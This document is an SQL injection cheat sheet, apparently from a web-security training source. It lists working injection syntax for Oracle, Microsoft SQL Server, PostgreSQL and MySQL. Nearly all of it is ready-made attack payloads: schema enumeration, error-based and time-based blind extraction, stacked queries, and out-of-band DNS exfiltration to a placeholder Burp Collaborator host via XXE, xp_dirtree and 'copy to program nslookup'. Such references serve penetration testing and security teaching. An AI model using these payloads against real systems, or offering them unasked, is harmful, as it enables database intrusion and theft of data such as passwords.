SQL injection cheat sheet
This SQL injection cheat sheet contains examples of useful syntax that you
can use to perform a variety of tasks that often arise when performing SQL
injection attacks.
String concatenation
You can concatenate together multiple strings to make a single string.
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
'foo' 'bar' [Note the space between the two strings]
MySQL
CONCAT('foo','bar')
Substring
You can extract part of a string, from a specified offset with a specified length.
Note that the offset index is 1-based. Each of the following expressions will
return the string ba.
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)
Comments
You can use comments to truncate a query and remove the portion of the
original query that follows your input.
Oracle --comment
--comment
Microsoft /*comment*/
--comment
PostgreSQL /*comment*/
#comment
MySQL -- comment [Note the space after the double dash]
/*comment*/
Database version
You can query the database to determine its type and version. This
information is useful when formulating more complicated attacks.
SELECT banner FROM v$version
Oracle SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version
Database contents
You can list the tables that exist in the database, and the columns that those
tables contain.
SELECT * FROM all_tables
Oracle SELECT * FROM all_tab_columns WHERE table_name
= 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
Microsoft SELECT * FROM information_schema.columns WHERE
table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
PostgreSQL SELECT * FROM information_schema.columns WHERE
table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
MySQL SELECT * FROM information_schema.columns WHERE
table_name = 'TABLE-NAME-HERE'
Conditional errors
You can test a single boolean condition and trigger a database error if the
condition is true.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN
Oracle TO_CHAR(1/0) ELSE NULL END FROM dual
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0
Microsoft ELSE NULL END
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE)
PostgreSQL THEN 1/(SELECT 0) ELSE NULL END)
SELECT IF(YOUR-CONDITION-HERE,(SELECT
MySQL table_name FROM information_schema.tables),'a')
Extracting data via visible error messages
You can potentially elicit error messages that leak sensitive data returned by
your malicious query.
SELECT 'foo' WHERE 1 = (SELECT 'secret')
Microsoft > Conversion failed when converting the varchar
value 'secret' to data type int.
SELECT CAST((SELECT password FROM users LIMIT
PostgreSQL 1) AS int)
> invalid input syntax for integer: "secret"
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1,
MySQL CONCAT(0x5c, (SELECT 'secret')))
> XPATH syntax error: '\secret'
Batched (or stacked) queries
You can use batched queries to execute multiple queries in succession. Note
that while the subsequent queries are executed, the results are not returned to
the application. Hence this technique is primarily of use in relation to blind
vulnerabilities where you can use a second query to trigger a DNS lookup,
conditional error, or time delay.
Oracle Does not support batched queries.
QUERY-1-HERE; QUERY-2-HERE
Microsoft QUERY-1-HERE QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL QUERY-1-HERE; QUERY-2-HERE
Note
With MySQL, batched queries typically cannot be used for SQL injection.
However, this is occasionally possible if the target application uses certain
PHP or Python APIs to communicate with a MySQL database.
Time delays
You can cause a time delay in the database when the query is processed.
The following will cause an unconditional time delay of 10 seconds.
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)
Conditional time delays
You can test a single boolean condition and trigger a time delay if the
condition is true.
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN
Oracle 'a'||dbms_pipe.receive_message(('a'),10) ELSE
NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN
PostgreSQL pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS lookup
You can cause the database to perform a DNS lookup to an external domain.
To do this, you will need to use Burp Collaborator to generate a unique Burp
Collaborator subdomain that you will use in your attack, and then poll the
Collaborator server to confirm that a DNS lookup occurred.
(XXE) vulnerability to trigger a DNS lookup. The vulnerability
has been patched but there are many unpatched Oracle
installations in existence:
SELECT EXTRACTVALUE(xmltype('<?xml
version="1.0" encoding="UTF-8"?><!DOCTYPE root
Oracle [ <!ENTITY % remote SYSTEM "http://BURP-
COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l')
FROM dual
The following technique works on fully patched Oracle
installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('BURP-
COLLABORATOR-SUBDOMAIN')
exec master..xp_dirtree '//BURP-COLLABORATOR-
Microsoft SUBDOMAIN/a'
copy (SELECT '') to program 'nslookup BURP-
PostgreSQL COLLABORATOR-SUBDOMAIN'
The following techniques work on Windows only:
MySQL LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-
SUBDOMAIN\a'
DNS lookup with data exfiltration
You can cause the database to perform a DNS lookup to an external domain
containing the results of an injected query. To do this, you will need to
use Burp Collaborator to generate a unique Burp Collaborator subdomain that
you will use in your attack, and then poll the Collaborator server to retrieve
details of any DNS interactions, including the exfiltrated data.
SELECT EXTRACTVALUE(xmltype('<?xml
version="1.0" encoding="UTF-8"?><!DOCTYPE root
Oracle [ <!ENTITY % remote SYSTEM "http://'||(SELECT
YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-
SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
declare @p varchar(1024);set @p=(SELECT YOUR-
Microsoft QUERY-HERE);exec('master..xp_dirtree
"//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
create OR replace function f() returns void as
$$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
PostgreSQL c := 'copy (SELECT '''') to program ''nslookup
'||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
The following technique works on Windows only:
MySQL SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-
COLLABORATOR-SUBDOMAIN\a'
